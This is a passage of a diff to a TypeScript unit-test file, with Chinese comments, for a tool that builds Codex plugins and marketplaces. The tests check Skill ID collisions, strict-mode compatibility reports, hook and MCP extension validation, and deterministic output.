expect(report.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'skill:review', capability: 'component', level: 'native' }), + expect.objectContaining({ + subject: 'command:release', capability: 'component', level: 'transform', + transformation: 'explicit-skill:release-tools-release', + }), + expect.objectContaining({ subject: 'runtime:cli', capability: 'node20-esm', level: 'native' }), ])); - expect(result.metadata).toContainEqual(expect.objectContaining({ - field: 'displayName', - disposition: 'emitted', - output: '.codex-plugin/plugin.json.interface.displayName', + expect(report.metadata).toContainEqual(expect.objectContaining({ + field: 'displayName', disposition: 'emitted', })); - await expectGolden(path.join(output, '.codex-plugin/plugin.json'), '.codex-plugin/plugin.json'); + await expectGolden(path.join(output, PLUGIN_MANIFEST_PATH), PLUGIN_MANIFEST_PATH); await expectGolden(path.join(output, 'skills/review/SKILL.md'), 'skills/review/SKILL.md'); await expectGolden(path.join(output, 'skills/review/agents/openai.yaml'), 'skills/review/agents/openai.yaml'); - await expectGolden(path.join(output, 'skills/command-release/SKILL.md'), 'skills/command-release/SKILL.md'); - await expectGolden(path.join(output, 'skills/command-release/agents/openai.yaml'), 'skills/command-release/agents/openai.yaml'); - expect(await fs.readFile(path.join(output, 'skills/review/references/checklist.md'), 'utf8')).toBe('Review checklist.\n'); - expect(await fs.readFile(path.join(output, 'assets/logo.svg'), 'utf8')).toContain('viewBox="0 0 48 48"'); + await expectGolden(path.join(output, 'skills/release-tools-release/SKILL.md'), 'skills/release-tools-release/SKILL.md'); + await expectGolden(path.join(output, 'skills/release-tools-release/agents/openai.yaml'), 'skills/release-tools-release/agents/openai.yaml'); + await expect(fs.access(path.join(output, 'skills/command-release/SKILL.md'))).rejects.toThrow(); + await expect(fs.readFile(path.join(output, 'skills/review/references/checklist.md'), 'utf8')).resolves.toBe('Review checklist.\n'); + await expect(fs.readFile(path.join(output, 'runtime/cli/main.mjs'), 'utf8')).resolves.toContain('runtime-ready'); + expect(report.packages[0]?.assets.find(asset => asset.path === 'runtime/cli/main.mjs')).toMatchObject({ + owner: 'framework:node-runtime', mode: 0o755, origin: { type: 'compile', profile: 'portable-node' }, + }); }); - it('opts into one plugin-prefixed Command Skill ID across Plugin and Marketplace output', async () => { - /** 复用完整严格工程,隔离 generated ID 策略对同一 Command 的影响。 */ - const root = await temporaryProject(); - await writeSupportedProject(root); - /** Plugin 前缀策略必须是显式 opt-in,Marketplace 只继承主单元。 */ - const platform = codex({ - generatedSkillIds: { command: 'plugin-prefixed' }, - interface: { category: 'Developer Tools' }, - marketplace: {}, - }); - /** 完成主 Plugin 和单 Plugin Marketplace 构建后的稳定结果。 */ - const result = await run(resolvedConfig(root, 'build', platform)); - /** 最终 generated ID 由配置中的稳定 Plugin name 与 canonical Command ID 组成。 */ - const generatedId = 'release-tools-release'; - /** 主 Plugin 使用的输出根。 */ - const pluginRoot = path.join(root, 'dist/codex/plugin'); - /** 单 Plugin Marketplace 使用的输出根。 */ - const marketplaceRoot = path.join(root, 'dist/codex/marketplace'); + it('rejects native/generated and generated/generated Skill namespace collisions before Package creation', async () => { + /** nativeRoot 让 native Skill 占用默认 generated Command ID。 */ + const nativeRoot = await temporaryProject(); + await fs.mkdir(path.join(nativeRoot, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(nativeRoot, 'src/skills/release-tools-release'), { recursive: true }); + await fs.writeFile(path.join(nativeRoot, 'src/commands/release.md'), '---\ndescription: Release.\n---\nRelease.\n'); + await fs.writeFile(path.join(nativeRoot, 'src/skills/release-tools-release/SKILL.md'), + '---\ndescription: Existing Skill.\n---\nExisting.\n'); + /** nativeCollision 必须在 Asset 签发和 Package finalization 前失败。 */ + const nativeCollision = await run({ root: nativeRoot, command: 'validate', commit: false }); + expect(nativeCollision.success).toBe(false); + expect(nativeCollision.packages).toEqual([]); + expect(nativeCollision.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_GENERATED_SKILL_ID_COLLISION', phase: 'package', + })); - expect(result.success, JSON.stringify(result.diagnostics)).toBe(true); - expect(result.compatibility).toContainEqual(expect.objectContaining({ - subject: 'command:release', - capability: 'component', - level: 'transform', - transformation: `Explicit Skill ${generatedId}`, + /** generatedRoot 让 Agent fallback 与 native Skill 占用同一固定 agent 前缀 ID。 */ + const generatedRoot = await temporaryProject(); + await fs.mkdir(path.join(generatedRoot, 'src/agents'), { recursive: true }); + await fs.mkdir(path.join(generatedRoot, 'src/skills/agent-reviewer'), { recursive: true }); + await fs.writeFile(path.join(generatedRoot, 'src/agents/reviewer.md'), '---\ndescription: Review.\n---\nReview.\n'); + await fs.writeFile(path.join(generatedRoot, 'src/skills/agent-reviewer/SKILL.md'), + '---\ndescription: Existing Skill.\n---\nExisting.\n'); + /** generatedCollision 使用与 native/Command 相同的命名空间检查。 */ + const generatedCollision = await run({ root: generatedRoot, command: 'validate', commit: false }); + expect(generatedCollision.success).toBe(false); + expect(generatedCollision.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_GENERATED_SKILL_ID_COLLISION', phase: 'package', })); - await expectGolden( - path.join(pluginRoot, `skills/${generatedId}/SKILL.md`), - `skills/${generatedId}/SKILL.md`, - ); - await expectGolden( - path.join(pluginRoot, `skills/${generatedId}/agents/openai.yaml`), - `skills/${generatedId}/agents/openai.yaml`, - ); - await expect(fs.access(path.join(pluginRoot, 'skills/command-release/SKILL.md'))).rejects.toThrow(); - expect(await fs.readFile(path.join(marketplaceRoot, `skills/${generatedId}/SKILL.md`))) - .toEqual(await fs.readFile(path.join(pluginRoot, `skills/${generatedId}/SKILL.md`))); }); - it('rejects only an actually declared Command argument hint in strict mode', async () => { - /** 单 Command 工程用于隔离 hint 兼容性。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/deploy.md'), `--- + it('reports actual argumentHint loss and Agent fallback through final strictness', async () => { + /** commandRoot 只声明一个存在 UI 损失的 argumentHint。 */ + const commandRoot = await temporaryProject(); + await fs.mkdir(path.join(commandRoot, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(commandRoot, 'src/commands/deploy.md'), `--- description: Deploy an environment. argumentHint: --- Deploy {{arguments}}. `); - /** strict 应在 fallback 生成 checkpoint 拒绝实际 hint 损失。 */ - const result = await run(resolvedConfig(root, 'build', codex())); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.compatibility).toContainEqual(expect.objectContaining({ - subject: 'command:deploy', - capability: 'argumentHint', - level: 'degraded', + /** commandReport 应保留完整降级 tuple 并由 strict 阻止成功。 */ + const commandReport = await run({ root: commandRoot, command: 'validate', commit: false }); + expect(commandReport.success).toBe(false); + expect(commandReport.compatibility).toContainEqual(expect.objectContaining({ + subject: 'command:deploy', capability: 'argument-hint', level: 'degraded', })); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); - }); + expect(commandReport.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT_FAILURE' })); - it('rejects Agent fallback in strict mode and writes explicit guidance in relaxed mode', async () => { - /** 单 Agent 工程用于验证三类运行约束损失。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- -description: Review code changes. + /** agentRoot 只包含 Codex 无法原生注册的 Agent。 */ + const agentRoot = await temporaryProject(); + await fs.mkdir(path.join(agentRoot, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(agentRoot, 'src/agents/reviewer.md'), `--- +description: Review changes. model: capable -capabilities: - - filesystem:read - - search +capabilities: [filesystem:read, search] --- -Review code and report findings. +Review. `); - /** strict 运行不应提交降级 Agent。 */ - const strictResult = await run(resolvedConfig(root, 'build', codex())); - /** relaxed 运行允许生成带明确限制说明的 fallback。 */ - const relaxedResult = await run(resolvedConfig(root, 'build', codex({ strict: false }))); - /** relaxed 模式最终生成的指导型 Skill。 */ - const fallback = await fs.readFile(path.join(root, 'dist/codex/plugin/skills/agent-reviewer/SKILL.md'), 'utf8'); - - expect(strictResult.success).toBe(false); - expect(strictResult.committed).toBe(false); - expect(relaxedResult.success).toBe(true); - expect(relaxedResult.compatibility).toEqual(expect.arrayContaining([ - expect.objectContaining({ subject: 'agent:reviewer', capability: 'component', level: 'degraded' }), - expect.objectContaining({ subject: 'agent:reviewer', capability: 'agent.model', level: 'degraded' }), - expect.objectContaining({ subject: 'agent:reviewer', capability: 'agent.capabilities', level: 'degraded' }), - ])); - expect(fallback).toContain('Intended model class: capable.'); - expect(fallback).toContain('These settings are guidance, not enforced registration.'); - }); - - it('reports user:false as an actual invocation degradation', async () => { - /** 单 Skill 工程用于隔离禁止显式调用的兼容性。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/skills/manual'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/manual/SKILL.md'), `--- -description: Run only when explicitly selected. -invocation: - user: false - model: true ---- -Perform the manual workflow. -`); - /** relaxed 运行应保留 Skill 内容并只警告 user:false。 */ - const result = await run(resolvedConfig(root, 'build', codex({ strict: false }))); - expect(result.success, JSON.stringify(result.diagnostics)).toBe(true); - - expect(result.compatibility).toContainEqual(expect.objectContaining({ - subject: 'skill:manual', - capability: 'invocation.user', - level: 'degraded', - })); - expect(await fs.readFile(path.join(root, 'dist/codex/plugin/skills/manual/SKILL.md'), 'utf8')) - .toContain('Perform the manual workflow.'); - }); - - it('fails when a canonical Skill collides with a generated fallback Skill ID', async () => { - /** 同时声明 command:release 与 skill:command-release 的冲突工程。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/skills/command-release'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- -description: Prepare a release. ---- -Prepare the release. -`); - await fs.writeFile(path.join(root, 'src/skills/command-release/SKILL.md'), `--- -description: Existing colliding Skill. ---- -Run the existing workflow. -`); - /** prepare 应在任何 Artifact 注册前报告稳定结构错误。 */ - const result = await run(resolvedConfig(root, 'build', codex())); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CODEX_GENERATED_SKILL_ID_COLLISION', - message: expect.stringContaining('skill:command-release'), - })); - }); - - it('rejects plugin-prefixed Command collisions and overlong combined identities', async () => { - /** 第一份工程让 opt-in Command 与 canonical Skill 占用同一最终 ID。 */ - const collisionRoot = await temporaryProject(); - await fs.mkdir(path.join(collisionRoot, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(collisionRoot, 'src/skills/release-tools-release'), { recursive: true }); - await fs.writeFile(path.join(collisionRoot, 'src/commands/release.md'), `--- -description: Prepare a release. ---- -Prepare the release. -`); - await fs.writeFile(path.join(collisionRoot, 'src/skills/release-tools-release/SKILL.md'), `--- -description: Existing colliding Skill. ---- -Run the existing workflow. -`); - /** prepare 必须使用与 generateBundle 相同的 opt-in ID resolver。 */ - const collision = await run(resolvedConfig( - collisionRoot, - 'build', - codex({ generatedSkillIds: { command: 'plugin-prefixed' } }), - )); - - expect(collision).toMatchObject({ success: false, committed: false }); - expect(collision.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CODEX_GENERATED_SKILL_ID_COLLISION', - message: expect.stringContaining('release-tools-release'), - })); - - /** 第二份工程验证重复 Plugin 前缀仍受官方组合身份长度限制。 */ - const lengthRoot = await temporaryProject(); - await fs.mkdir(path.join(lengthRoot, 'src/commands'), { recursive: true }); - await fs.writeFile(path.join(lengthRoot, 'src/commands/prepare-release-workflow.md'), `--- -description: Prepare a release workflow. ---- -Prepare the release workflow. -`); - /** 较长但本身合法的 Plugin name 与 generated Skill name 合并后超过 64 字符。 */ - const lengthConfig = resolveConfig({ - name: 'organization-release-operations', - version: '1.0.0', - description: 'Organization release operations.', - platforms: [codex({ generatedSkillIds: { command: 'plugin-prefixed' } })], - }, path.join(lengthRoot, 'acplugin.config.ts'), 'build', 'production'); - expect(lengthConfig.diagnostics).toEqual([]); - /** 最终候选校验必须拒绝超过官方组合身份限制的 Skill。 */ - const overlong = await run(lengthConfig.config!); - - expect(overlong).toMatchObject({ success: false, committed: false }); - expect(overlong.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CODEX_SKILL_IDENTITY_TOO_LONG', + /** strictReport 证明降级先进入报告再执行 strict。 */ + const strictReport = await run({ root: agentRoot, command: 'validate', commit: false }); + /** relaxedReport 允许交付 guidance-only Skill。 */ + const relaxedReport = await run({ root: agentRoot, platform: codex({ strict: false }) }); + expect(strictReport.success).toBe(false); + expect(strictReport.compatibility).toContainEqual(expect.objectContaining({ + subject: 'agent:reviewer', capability: 'component', level: 'degraded', })); + expect(relaxedReport.success, JSON.stringify(relaxedReport.diagnostics, null, 2)).toBe(true); + await expect(fs.readFile(path.join(agentRoot, 'dist/codex/plugin/skills/agent-reviewer/SKILL.md'), 'utf8')) + .resolves.toContain('Intended model class: capable.'); }); - it('lets independent Hooks and MCP Adapters use only declared add-only extension points', async () => { - /** 至少含一个原生 Skill 的 Extension host 工程。 */ + it('lets Hooks and MCP Extensions use only declared add-only points and validates final wire data', async () => { + /** root 需要至少一个合法 Skill 作为 Extension host。 */ const root = await temporaryProject(); await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), `--- -description: Host extension resources. ---- -Use the extension resources. -`); - /** 模拟官方 Hooks/MCP Extension 包的两个 add-only patch。 */ - const extension = defineExtension({ - name: 'codex-extension-fixture', - apiVersion: '1', - /** discover 返回资源以触发 Adapter 生命周期。 */ - discover: () => ({ enabled: true }), - /** build 透传当前 Fixture 的平台中立状态。 */ - build: (_context, discovered) => discovered, - adapters: [{ - extensionApiVersion: '1', - platform: codex().id, - platformApiVersion: '1', - /** apply 只能新增 Manifest 字段和自己拥有的 Artifact。 */ - apply(context) { - context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); - context.patchDocument({ document: 'plugin-manifest', path: ['mcpServers'], value: './.mcp.json' }); - context.emitArtifact(bytesArtifact('hooks/hooks.json', '{"hooks":{}}\n')); - context.emitArtifact(bytesArtifact('.mcp.json', '{"docs":{"url":"https://developers.openai.com/mcp"}}\n')); - }, - }], + await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), '---\ndescription: Host.\n---\nHost.\n'); + /** hooks 提供最终平台 validator 可接受的 wire schema。 */ + const hooks = contributionExtension({ + id: 'hooks-fixture', field: 'hooks', value: './hooks/hooks.json', path: 'hooks/hooks.json', + bytes: '{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"node hook.mjs"}]}]}}\n', }); - /** 完成 Extension 合并和最终引用验证的生命周期结果。 */ - const result = await run(resolvedConfig(root, 'build', codex(), [extension])); - /** 最终 Plugin Manifest 中的两个 Extension 引用。 */ - const manifest = JSON.parse(await fs.readFile(path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), 'utf8')); - - expect(result.success).toBe(true); + /** mcp 提供固定 manifest 引用目标。 */ + const mcp = contributionExtension({ + id: 'mcp-fixture', field: 'mcpServers', value: './.mcp.json', path: '.mcp.json', + bytes: '{"docs":{"url":"https://developers.openai.com/mcp"}}\n', + }); + /** valid 验证集中合并和最终引用检查。 */ + const valid = await run({ root, extensions: [hooks, mcp] }); + /** manifest 是 Core codec 序列化后的最终 Document。 */ + const manifest = JSON.parse(await fs.readFile(path.join(root, 'dist/codex/plugin', PLUGIN_MANIFEST_PATH), 'utf8')); + expect(valid.success, JSON.stringify(valid.diagnostics, null, 2)).toBe(true); expect(manifest).toMatchObject({ hooks: './hooks/hooks.json', mcpServers: './.mcp.json' }); - expect(result.deliveryUnits[0]?.artifacts).toEqual(expect.arrayContaining([ - expect.objectContaining({ path: 'hooks/hooks.json', owner: 'extension:codex-extension-fixture' }), - expect.objectContaining({ path: '.mcp.json', owner: 'extension:codex-extension-fixture' }), - ])); + + /** invalidRoot 隔离最终 Hook timeout protocol 错误。 */ + const invalidRoot = await temporaryProject(); + await fs.mkdir(path.join(invalidRoot, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(invalidRoot, 'src/skills/host/SKILL.md'), '---\ndescription: Host.\n---\nHost.\n'); + /** invalidHook 的 SessionEnd timeout 超出 Codex 三秒上限。 */ + const invalidHook = contributionExtension({ + id: 'invalid-hook', field: 'hooks', value: './hooks/hooks.json', path: 'hooks/hooks.json', + bytes: '{"hooks":{"SessionEnd":[{"hooks":[{"type":"command","command":"node hook.mjs","timeout":4}]}]}}\n', + }); + /** invalid 必须在 candidate validator 阶段失败。 */ + const invalid = await run({ root: invalidRoot, command: 'validate', extensions: [invalidHook], commit: false }); + expect(invalid.success).toBe(false); + expect(invalid.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_HOOK_TIMEOUT_LIMIT', phase: 'platform-validate', + })); }); - it('creates a policy-aware self-contained Marketplace and remains byte deterministic', async () => { - /** Marketplace 必须完整复制的主 Plugin 工程。 */ + it('creates a policy-aware Marketplace by inheriting validated primary AssetRefs byte-for-byte', async () => { + /** root 包含 Component、Public 和 Runtime 三类 inherited Asset。 */ const root = await temporaryProject(); await writeSupportedProject(root); - /** 显式安装策略与分类进入 Codex Marketplace 条目。 */ + /** platform 配置 Marketplace 安装策略和缺省分类。 */ const platform = codex({ interface: { category: 'Developer Tools' }, marketplace: { policy: { installation: 'INSTALLED_BY_DEFAULT' } }, }); - /** 第一次完整构建的生命周期结果。 */ - const first = await run(resolvedConfig(root, 'build', platform)); - /** Marketplace Distribution 的最终输出根。 */ + /** first 提供确定性和继承报告基线。 */ + const first = await run({ root, platform }); + /** primary 是已通过完整 Codex validator 的主 Package。 */ + const primary = first.packages.find(unit => unit.id === 'plugin')!; + /** distribution 应复用 primary 的每个 AssetRef。 */ + const distribution = first.packages.find(unit => unit.id === 'marketplace')!; + /** second 验证同输入的完整事务替换保持确定性。 */ + const second = await run({ root, platform }); + /** marketplaceRoot 是最终分发根。 */ const marketplaceRoot = path.join(root, 'dist/codex/marketplace'); - /** 第一次构建后按路径保存的 Artifact 字节快照。 */ - const firstBytes = new Map(); - for (const artifact of first.deliveryUnits.find(unit => unit.id === 'marketplace')!.artifacts) - firstBytes.set(artifact.path, await fs.readFile(path.join(marketplaceRoot, artifact.path))); - /** 第二次使用相同输入覆盖完整 outDir 的生命周期结果。 */ - const second = await run(resolvedConfig(root, 'build', platform)); - expect(first.success).toBe(true); - expect(second.success).toBe(true); - expect(first.deliveryUnits.map(unit => `${unit.role}:${unit.id}`)).toEqual(['distribution:marketplace', 'primary:plugin']); - await expectGolden(path.join(marketplaceRoot, '.agents/plugins/marketplace.json'), '.agents/plugins/marketplace.json'); - for (const [artifactPath, bytes] of firstBytes) - expect(await fs.readFile(path.join(marketplaceRoot, artifactPath))).toEqual(bytes); - expect(await fs.readFile(path.join(marketplaceRoot, '.codex-plugin/plugin.json'))) - .toEqual(await fs.readFile(path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'))); - }); - - it('combines multiple validated primary Plugins into stable Marketplace subdirectories', async () => { - /** 多主单元测试使用的临时物化工作目录。 */ - const root = await temporaryProject(); - /** 暴露 Marketplace Distribution Hook 的 Codex Platform。 */ - const platform = codex({ marketplace: { policy: { installation: 'AVAILABLE' } } }); - /** 使用真实 Core Registry 创建带完整 owner/hash 的主单元。 */ - const units = new DeliveryUnitRegistry(new Map()); - /** 每个 Codex Plugin 都必须携带至少一个有效 Skill。 */ - const skill = (name: string) => `---\nname: ${name}\ndescription: ${name} workflow.\n---\nRun ${name}.\n`; - /** 输入顺序故意与 ID 排序相反的第二个 Plugin。 */ - const beta = await units.add(platform.id, { - id: 'plugin-b', role: 'primary', type: 'plugin', - artifacts: [ - bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson({ - name: 'beta-tools', version: '2.0.0', description: 'Beta tools.', skills: './skills/', - })), - bytesArtifact('skills/beta/SKILL.md', skill('beta')), - ], - }); - /** 排序后应出现在 Marketplace 第一项的 Plugin。 */ - const alpha = await units.add(platform.id, { - id: 'plugin-a', role: 'primary', type: 'plugin', - artifacts: [ - bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson({ - name: 'alpha-tools', version: '1.0.0', description: 'Alpha tools.', skills: './skills/', - })), - bytesArtifact('skills/alpha/SKILL.md', skill('alpha')), - ], - }); - /** Distribution 与最终 Validator 共同产生的结构化诊断。 */ - const diagnostics: DiagnosticInput[] = []; - /** 模拟未来 Monorepo 编排器提供的 Marketplace 根上下文。 */ - const context: PlatformDistributionContext = { - command: 'build', - mode: 'production', - project: { - root, - metadata: { name: 'tool-catalog', version: '1.0.0', description: 'Tool catalog.' }, - commands: [], skills: [], agents: [], publicFiles: [], - }, - options: platform.options ?? {}, - workDir: root, - /** 收集 Distribution 生成阶段的结构化诊断。 */ - reportDiagnostic: diagnostic => diagnostics.push(diagnostic), - }; - /** Platform 必须直接接受数组,无需未来重写 Marketplace Builder。 */ - const distributionInputs = await platform.generateDistributions!(context, [beta, alpha]); - /** 使用两个主单元的继承边界注册最终 Distribution。 */ - const distribution = await units.add( - platform.id, - distributionInputs[0]!, - [...alpha.artifacts, ...beta.artifacts], + expect(first.success, JSON.stringify(first.diagnostics, null, 2)).toBe(true); + expect(second.success, JSON.stringify(second.diagnostics, null, 2)).toBe(true); + await expectGolden(path.join(marketplaceRoot, MARKETPLACE_MANIFEST_PATH), MARKETPLACE_MANIFEST_PATH); + await expect(fs.readFile(path.join(marketplaceRoot, PLUGIN_MANIFEST_PATH))).resolves.toEqual( + await fs.readFile(path.join(root, 'dist/codex/plugin', PLUGIN_MANIFEST_PATH)), ); - await withMaterializedDeliveryUnitCandidate(distribution, candidate => platform.validateBundle({ - command: 'build', mode: 'production', candidate, - /** 收集最终候选 Validator 的结构化诊断。 */ - reportDiagnostic: diagnostic => diagnostics.push(diagnostic), - }), root); - /** 解析最终 Marketplace 清单以验证稳定条目顺序和本地来源。 */ - const marketplaceArtifact = distribution.artifacts.find(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH)!; - /** Marketplace 清单由 Platform 生成,因此固定为内存字节来源。 */ - const marketplace = JSON.parse(new TextDecoder().decode( - marketplaceArtifact.source.type === 'bytes' ? marketplaceArtifact.source.value : new Uint8Array(), - )); - - expect(diagnostics).toEqual([]); - expect(marketplace.plugins.map((plugin: { name: string; source: { path: string } }) => [plugin.name, plugin.source.path])).toEqual([ - ['alpha-tools', './plugins/plugin-a'], - ['beta-tools', './plugins/plugin-b'], - ]); - expect(distribution.artifacts).toEqual(expect.arrayContaining([ - expect.objectContaining({ path: 'plugins/plugin-a/.codex-plugin/plugin.json' }), - expect.objectContaining({ path: 'plugins/plugin-a/skills/alpha/SKILL.md' }), - expect.objectContaining({ path: 'plugins/plugin-b/.codex-plugin/plugin.json' }), - ])); + for (const source of primary.assets) { + expect(distribution.assets.find(asset => asset.path === source.path)).toMatchObject({ + owner: source.owner, mode: source.mode, sha256: source.sha256, origin: source.origin, + }); + } + expect(second.packages.find(unit => unit.id === 'marketplace')?.assets).toEqual(distribution.assets); }); - it('validates factory and Component fields without raw schema escape hatches', async () => { + it('validates factory and Component fields without ID strategy or raw schema escape hatches', async () => { expect(() => codex({ raw: true } as never)).toThrow('Unknown Codex Platform option'); + expect(() => codex({ generatedSkillIds: { command: 'plugin-prefixed' } } as never)).toThrow('Unknown Codex Platform option'); expect(() => codex({ interface: { displayName: 'duplicate' } } as never)).toThrow('Unknown Codex interface option'); expect(() => codex({ interface: { websiteURL: 'https://user:secret@example.com' } })).toThrow('without credentials'); expect(() => codex({ marketplace: { policy: { installation: 'UNKNOWN' } } } as never)).toThrow('not supported'); - expect(() => codex({ generatedSkillIds: null } as never)).toThrow('must be an object'); - expect(() => codex({ generatedSkillIds: [] } as never)).toThrow('must be an object'); - expect(() => codex({ generatedSkillIds: { skill: 'plugin-prefixed' } } as never)).toThrow('Unknown Codex generatedSkillIds option'); - expect(() => codex({ generatedSkillIds: { command: 'template' } } as never)).toThrow('must be "plugin-prefixed"'); - expect(() => codex({ generatedSkillIds: { command: true } } as never)).toThrow('must be "plugin-prefixed"'); - /** 非法 Component 专属字段应在 Scanner 阶段失败。 */ + /** root 的非法 Skill icon path 必须在 Component validation 阶段失败。 */ const root = await temporaryProject(); await fs.mkdir(path.join(root, 'src/skills/invalid'), { recursive: true }); await fs.writeFile(path.join(root, 'src/skills/invalid/SKILL.md'), `--- @@ -553,157 +371,96 @@ platforms: --- Do not build. `); - /** Scanner 应附带稳定平台字段路径。 */ - const result = await run(resolvedConfig(root, 'validate', codex())); - - expect(result.success).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CODEX_COMPONENT_FIELD_INVALID', - fieldPath: ['platforms', 'codex', 'iconSmall'], + /** report 应保留规范 namespace fieldPath。 */ + const report = await run({ root, command: 'validate', commit: false }); + expect(report.success).toBe(false); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_COMPONENT_FIELD_INVALID', fieldPath: ['platforms', 'codex', 'iconSmall'], })); }); - it('rejects invalid Skills appended by an Extension at the final candidate boundary', async () => { - /** 一个有效规范 Skill 保证错误只来自 Extension 追加内容。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), `--- -description: Host extension output. ---- -Use the host workflow. -`); - /** 模拟错误地向 Platform 安装根注入无 Frontmatter Skill 的第三方 Extension。 */ - const extension = defineExtension({ - name: 'invalid-skill-fixture', - apiVersion: '1', - /** discover 返回资源以触发 Adapter。 */ - discover: () => ({ enabled: true }), - /** build 透传 Fixture 状态。 */ - build: (_context, discovered) => discovered, - adapters: [{ - extensionApiVersion: '1', - platform: codex().id, - platformApiVersion: '1', - /** apply 追加一个结构路径正确但内容协议错误的 Skill。 */ - apply(context) { - context.emitArtifact(bytesArtifact('skills/invalid-extension/SKILL.md', 'missing frontmatter\n')); - }, - }], - }); - /** 最终 Validator 必须阻止无效 Extension 内容进入交付单元。 */ - const result = await run(resolvedConfig(root, 'build', codex(), [extension])); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_SKILL_FRONTMATTER_INVALID' })); - }); - - it('validates referenced Hook configuration at the final Platform boundary', async () => { - /** 有效 Skill 保证最终错误只来自 Extension 贡献的 Hook 配置。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), `--- -description: Host invalid Hook validation. ---- -Validate the extension output. -`); - /** 模拟绕过正式 Hooks Extension 并贡献无效 Codex Handler 的第三方 Adapter。 */ - const extension = defineExtension({ - name: 'invalid-codex-hooks', - apiVersion: '1', - /** discover 返回资源以触发 Adapter。 */ - discover: () => true, - adapters: [{ - extensionApiVersion: '1', - platform: codex().id, - platformApiVersion: '1', - /** apply 只贡献候选,Platform 最终 Validator 负责原生协议检查。 */ - apply(context) { - context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); - context.emitArtifact(bytesArtifact('hooks/hooks.json', stableJson({ - hooks: { SessionEnd: [{ hooks: [{ type: 'command', command: 'node hook.mjs', timeout: 4 }] }] }, - }))); - }, - }], + it('rejects invalid Extension Skill, missing Skill icon, and malformed branding at candidate boundary', async () => { + /** skillRoot 的 Extension 追加无 Frontmatter Skill。 */ + const skillRoot = await temporaryProject(); + await fs.mkdir(path.join(skillRoot, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(skillRoot, 'src/skills/host/SKILL.md'), '---\ndescription: Host.\n---\nHost.\n'); + /** invalidSkill 不占 Document 字段,只追加协议错误的 Skill。 */ + const invalidSkill = contributionExtension({ + id: 'invalid-skill', path: 'skills/invalid-extension/SKILL.md', bytes: 'missing frontmatter\n', }); - /** SessionEnd 四秒超出 Codex 官方三秒上限,候选不得提交。 */ - const result = await run(resolvedConfig(root, 'build', codex(), [extension])); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_HOOK_TIMEOUT_LIMIT' })); - }); - - it('validates openai.yaml and its Skill-local icon references', async () => { - /** 声明缺失 Skill 图标的工程用于覆盖元数据资源验证。 */ - const root = await temporaryProject(); - await fs.mkdir(path.join(root, 'src/skills/icon-test'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills/icon-test/SKILL.md'), `--- + /** skillReport 必须在最终 validator 阶段失败。 */ + const skillReport = await run({ root: skillRoot, command: 'validate', extensions: [invalidSkill], commit: false }); + expect(skillReport.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_SKILL_FRONTMATTER_INVALID' })); + + /** iconRoot 声明安全但不存在的 Skill-local icon。 */ + const iconRoot = await temporaryProject(); + await fs.mkdir(path.join(iconRoot, 'src/skills/icon-test'), { recursive: true }); + await fs.writeFile(path.join(iconRoot, 'src/skills/icon-test/SKILL.md'), `--- description: Validate Skill metadata assets. platforms: codex: iconSmall: ./assets/missing.png --- -Validate metadata assets. +Validate. `); - /** 最终 Validator 应拒绝 Scanner 无法提前确认的产物相对引用。 */ - const result = await run(resolvedConfig(root, 'build', codex())); - - expect(result.success).toBe(false); - expect(result.committed).toBe(false); - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'CODEX_SKILL_ASSET_MISSING' })); + /** iconReport 由最终 Skill metadata 引用检查拒绝。 */ + const iconReport = await run({ root: iconRoot, command: 'validate', commit: false }); + 